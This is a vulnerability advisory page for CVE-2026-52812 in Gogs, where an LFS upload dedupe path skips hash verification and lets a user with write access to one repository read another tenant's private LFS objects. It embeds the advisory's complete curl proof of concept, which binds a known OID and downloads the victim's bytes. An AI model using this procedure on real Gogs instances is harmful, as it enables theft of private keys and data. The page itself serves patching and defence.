Skip to main content

Gogs EUVDEUVD-2026-39083

| CVE-2026-52812 HIGH
Insufficient Verification of Data Authenticity (CWE-345)
2026-06-23 https://github.com/gogs/gogs GHSA-6p9m-q3jp-47h4
7.1
CVSS 4.0 · Vendor: https://github.com/gogs/gogs
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain target object OID via side channel
  2. Delivery
    Authenticate to own writable repo
  3. Exploit
    PUT garbage bytes to LFS basic upload endpoint
  4. Execution
    Dedupe path skips hash, inserts (repo,oid) binding
  5. Persist
    Download OID via own repo endpoint
  6. Impact
    Receive victim's private bytes verbatim

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A08:2025 - Software or Data Integrity Failures
ASVS 5.0
V15 - Secure Coding and Architecture Data authenticity verification
Exploitation Conditions

Requires three concrete prerequisites: (1) Gogs running with [lfs] ENABLED = true (LFS is off by default in some deployments, which is a hard limiter); (2) the attacker must hold authenticated HTTP write access to at least one repository on the instance (PR:L), not anonymous access; and (3) the attacker must already know the exact 256-bit SHA-256 OID of the target object - this cannot be brute-forced and must be obtained via a side channel such as a leaked LFS pointer file in a public ancestor commit, a stale fork, or a support ticket. The on-disk content-addressed object file for that OID must already exist (the victim must have previously uploaded it). No user interaction from the victim is needed and the attack is silent on the victim's side, but the OID-knowledge requirement is the dominant factor limiting realistic exploitation to targeted scenarios.

Impact

The supplied CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H, base 7.1) is internally consistent with the description: network reachable, low complexity, and PR:L correctly reflecting that the attacker needs authenticated write access to one repository (not full anonymous access). The confidentiality impact is genuinely high - complete, exact disclosure of arbitrary private LFS blobs. Counterbalancing factors keep this below a critical rating: exploitation is gated on (a) holding write access to some repo on the instance and (b) prior knowledge of a 256-bit target OID, which cannot be brute-forced and must leak via a side channel (public ancestor commit, stale fork, support ticket). No EPSS score and no CISA KEV listing were provided; the GHSA advisory does include a fully detailed reproduction, so functional exploit knowledge is public even though large-scale automated exploitation is unlikely given the OID-knowledge prerequisite. This is a real priority for any multi-tenant Gogs instance storing sensitive LFS content, but the OID-discovery gate makes it targeted rather than spray-and-pray.

Exploit ScenarioDerived

An attacker (bob) with a normal account and write access to any repo on a shared Gogs instance learns the SHA-256 OID of a sensitive LFS object - say a TLS private key - stored in a private repo (alice/secrets), for example from an LFS pointer leaked in a public fork. Bob PUTs arbitrary garbage bytes to his own repo's LFS basic upload endpoint for that OID; because the content-addressed file already exists on disk, Gogs takes the dedupe shortcut, skips hashing, returns 200, and inserts a (bob/scratch, OID) row. Bob then downloads the OID through his own repo's LFS endpoint and receives alice's original private bytes verbatim, as demonstrated by the public PoC.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv3 – Jun 24, 2026

Cross-tenant information disclosure in Gogs (self-hosted Git service) before 0.14.3 lets any user with write access to a single repository read the byte-for-byte contents of Git LFS objects belonging to private repositories they cannot otherwise access. Because LFS storage is content-addressed by OID alone while authorization is tracked per-repo, an attacker who learns a victim object's OID can bind it to their own repo via the upload endpoint - which skips hash verification on the dedupe path - and then download the original private bytes. The GHSA advisory publishes a complete working proof-of-concept; there is no evidence of active in-the-wild exploitation.

Earlier versions of this analysis (2)
v2 Jun 24, 2026 - 21:29 cvss changed CVSS 7.1

Cross-tenant disclosure in Gogs (self-hosted Git service) before 0.14.3 lets any user with write access to a single repository read the byte-for-byte contents of any Git LFS object stored anywhere on the instance, including private repositories. Because LFS storage is content-addressed by OID alone while authorization is tracked per-repo, an attacker who knows a target OID can bind it to their own repo without proving possession of the bytes and then download the original content. A detailed, working proof-of-concept is published in the GHSA advisory; publicly available exploit code exists, though no public in-the-wild exploitation has been reported.

v1 Jun 23, 2026 - 17:34

Cross-tenant information disclosure in Gogs Git LFS storage (versions ≥0.12.0 and <0.14.3 with LFS enabled) allows any authenticated user with write access to one repository to bind a Git LFS Object ID (OID) owned by a private repository to their own repository and download the original bytes. The root cause is a content-addressed storage dedupe shortcut in LocalStorage.Upload that returns success without re-hashing the request body when an OID file already exists on disk. Publicly available exploit code exists in the GHSA advisory PoC; no public exploit identified in active campaigns at time of analysis.

RemediationAI

Upgrade to Gogs 0.14.3, which is the vendor-released patch (PR https://github.com/gogs/gogs/pull/8333, commit f35a767af74e05342bafc6fdda02c791816426f8, release https://github.com/gogs/gogs/releases/tag/v0.14.3); the fix makes the dedupe path hash the request body via io.TeeReader and return ErrOIDMismatch when the bytes do not match the claimed OID, so retries must now send the correct content. If you cannot patch immediately, the most effective compensating control is to disable LFS entirely by setting [lfs] ENABLED = false, which fully closes the vector but breaks any workflow relying on large-file storage; where LFS must stay enabled, tightly restrict who holds write/push access to repositories on the instance (the attack requires write to at least one repo) and treat all per-repo LFS object access as an audit point, since a successful bind leaves only a 200 in the LFS access log. Review the lfs_object table for unexpected (repo_id, oid) rows after upgrading, because prior malicious binds persist and continue granting read access until the row is manually removed.

Affected VersionsENISA

gogs < 0.14.3

Affected Packages

go gogs.io/gogs fix: 0.14.3
euvd gogs fix: 0.14.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The flaw lives in Gogs' Git Large File Storage (LFS) implementation. LFS objects are stored on a shared, content-addressed filesystem path (<LFS-root>/<oid[0]>/<oid[1]>/<oid>) where the OID is a SHA-256 of the file content, but per-repository ownership is recorded separately in the lfs_object table keyed on the composite (repo_id, oid) primary key. The root cause is CWE-345 (Insufficient Verification of Data Authenticity): LocalStorage.Upload (internal/lfsx/storage.go:79-82) takes a deduplication shortcut when os.Stat shows the OID file already exists on disk - it drains the request body to io.Discard and returns the existing file's size without ever hashing the submitted bytes. The SHA-256 verification at storage.go:106-108 only executes in the new-file branch. serveUpload (internal/route/lfs/basic.go:78-114) then trusts that success and calls CreateLFSObject, an unconditional INSERT that creates a (repo_id, oid) binding with no check that the OID is referenced by the requesting repo's git history. The affected package per CPE is pkg:go/gogs.io_gogs.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/gogs/gogs) PRIMARY 7.1 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N
vuln.today AI 7.7 HIGH

Network-reachable with low complexity and only repo write access (PR:L); scope changes because a bound repo crosses into another tenant's private data, yielding high confidentiality but no integrity or availability impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N
SUSE HIGH

Primary rating from Vendor (https://github.com/gogs/gogs).

CVSS VectorVendor: https://github.com/gogs/gogs

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
Analysis Updated
Jun 24, 2026 - 21:30 vuln.today
v3 - CVSS changed
Analysis Updated
Jun 24, 2026 - 21:29 vuln.today
v2 - CVSS changed
CVSS changed
Jun 24, 2026 - 21:22 NVD
7.1 (HIGH)

DescriptionCVE.org

Summary

Git LFS storage is content-addressed by OID alone (<LFS-root>/<oid[0]>/<oid[1]>/<oid>) but per-repo authorization lives in the lfs_object table keyed (repo_id, oid). serveUpload skips re-uploading when the OID file already exists on disk and inserts a new (repo_id, oid) row pointing at it without verifying the request body hashes to the OID being claimed. Any user with write access to one repo can bind their repo to an OID owned by a private repo and download the original bytes via their own download endpoint.

Details

Dedupe shortcut at internal/lfsx/storage.go:79-82:

go
if fi, err := os.Stat(fpath); err == nil {
    _, _ = io.Copy(io.Discard, rc)
    return fi.Size(), nil          // ← returns success with no hash check
}

Hash verification at internal/lfsx/storage.go:106-108 only runs in the *new-file* branch - the dedupe path returns earlier.

serveUpload (internal/route/lfs/basic.go:78-114) trusts that success and inserts the per-repo binding:

go
_, err := h.store.GetLFSObjectByOID(c.Req.Context(), repo.ID, oid)   // per-repo
if err == nil { /* already linked, drain & return 200 */ }
written, err := s.Upload(oid, c.Req.Request.Body)
err = h.store.CreateLFSObject(c.Req.Context(), repo.ID, oid, written, s.Storage())

CreateLFSObject is an unconditional INSERT on (repo_id, oid) with no check that the OID is referenced by the requesting repo's git history.

serveDownload at internal/route/lfs/basic.go:42-72 only consults the per-repo row, then streams from the shared content-addressed file.

Suggested fix

  1. In LocalStorage.Upload, when os.Stat(fpath) == nil, hash the request body via io.TeeReader and ErrOIDMismatch on disagreement - same code path as the new-file branch already uses. The "client retries after partial failure" use case still works; the retry just has to send the correct content.
  2. Optional second layer: in serveUpload, refuse CreateLFSObject unless the OID is referenced by an LFS pointer in the requesting repo's refs.

PoC

Tested against gogs at HEAD d7571322 (also reproduces on v0.14.2, paths are internal/lfsutil/storage.go and identical logic).

Reproduction prerequisites

  • Running gogs ≥ 0.12.0 with [lfs] ENABLED = true.
  • Two accounts: alice (private repo secrets) and bob (any repo bob/scratch); bob has no access to alice/secrets.
  • An OID known to be present in alice/secrets - leaked LFS pointer file in any public ancestor commit, stale fork, support ticket, or any side channel. Brute force is infeasible (256-bit).

Setup (testbed simulation of the victim's prior state)

sh
GOGS=https://gogs.example
ALICE_AUTH='-u alice:alice_password'
BOB_AUTH='-u bob:bob_password'

VICTIM_BYTES='victim secret content'
OID=$(printf %s "$VICTIM_BYTES" | sha256sum | cut -d' ' -f1)
SIZE=$(printf %s "$VICTIM_BYTES" | wc -c)
# After this, file lives at <conf.LFS.ObjectsPath>/<OID[0]>/<OID[1]>/<OID>
# and (alice/secrets, OID) row exists in lfs_object.
printf %s "$VICTIM_BYTES" | curl -sS $ALICE_AUTH \
  -H 'Content-Type: application/octet-stream' \
  -X PUT --data-binary @- \
  "$GOGS/alice/secrets.git/info/lfs/objects/basic/$OID"

Attack - bob has only $OID, not $VICTIM_BYTES

sh
unset VICTIM_BYTES
# attacker has no idea what the file contains
# 1. Confirm bob has no claim on $OID.
curl -sS $BOB_AUTH \
  -H 'Accept: application/vnd.git-lfs+json' \
  -H 'Content-Type: application/vnd.git-lfs+json' \
  -X POST "$GOGS/bob/scratch.git/info/lfs/objects/batch" \
  --data "{\"operation\":\"download\",\"objects\":[{\"oid\":\"$OID\",\"size\":$SIZE}]}"
# → "actions":{"error":{"code":404,"message":"Object does not exist"}}
# 2. PUT garbage to bob's LFS endpoint. The on-disk OID file already exists
#    so LocalStorage.Upload takes the dedupe shortcut: drains the body
#    without hashing, returns alice's size; CreateLFSObject inserts (bob, OID).
curl -sS $BOB_AUTH \
  -H 'Content-Type: application/octet-stream' \
  -X PUT --data-binary 'irrelevant attacker-controlled bytes' \
  "$GOGS/bob/scratch.git/info/lfs/objects/basic/$OID"
# → HTTP/1.1 200 OK
# 3. Download via bob's repo - gogs streams alice's bytes.
curl -sS $BOB_AUTH "$GOGS/bob/scratch.git/info/lfs/objects/basic/$OID" -o /tmp/leaked
cat /tmp/leaked
# → victim secret content
sha256sum /tmp/leaked | cut -d' ' -f1
# → matches $OID exactly

Independent confirmation against the source

sh
git clone https://github.com/gogs/gogs.git && cd gogs
git checkout d7571322

sed -n '63,114p' internal/lfsx/storage.go
# dedupe at 79-82, hash check at 106 only in new-file branch
sed -n '74,117p' internal/route/lfs/basic.go
# serveUpload calls CreateLFSObject regardless of dedupe path
grep -n 'primaryKey' internal/database/lfs.go
# composite (RepoID, OID) PK - multiple repos can share an OID row

Impact

  • Cross-tenant disclosure of any LFS object on the instance. Attacker needs HTTP write to one repo + knowledge of a target OID; storage path is global, no per-repo isolation.
  • LFS commonly stores certificates/keys, firmware blobs, ML model weights, datasets containing PII, packaged installers - all extracted byte-for-byte.
  • Persistent: the (bob/scratch, OID) row pins read access until manually deleted; removing bob's repo write access does not revoke prior binds. No artefact on victim's side beyond a 200 in the LFS access log.

Executive ViewAI

Why It Matters

Gogs before version 0.14.3 contains a data access vulnerability where publicly available exploit code exists that allows any team member with write permissions to a repository to secretly access confidential files stored in private repositories. This cross-tenant exposure could compromise intellectual property, customer data, and project secrets across the organization. Organizations using self-hosted Gogs must immediately patch to prevent unauthorized data disclosure.

Business Impact: High
Compensating Controls

Apply vendor patch. If immediate patching is not feasible, restrict write-access permissions in Gogs to only trusted users and implement network-level access controls to limit LFS endpoints until v0.14.3 is deployed.

Threat Intelligence Overview

EPSS Score
0.2%
Top 86% exploitable
Prevalence
Medium
popular self-hosted Git service, but niche versus GitLab/GitHub and LFS often disabled
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

36
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy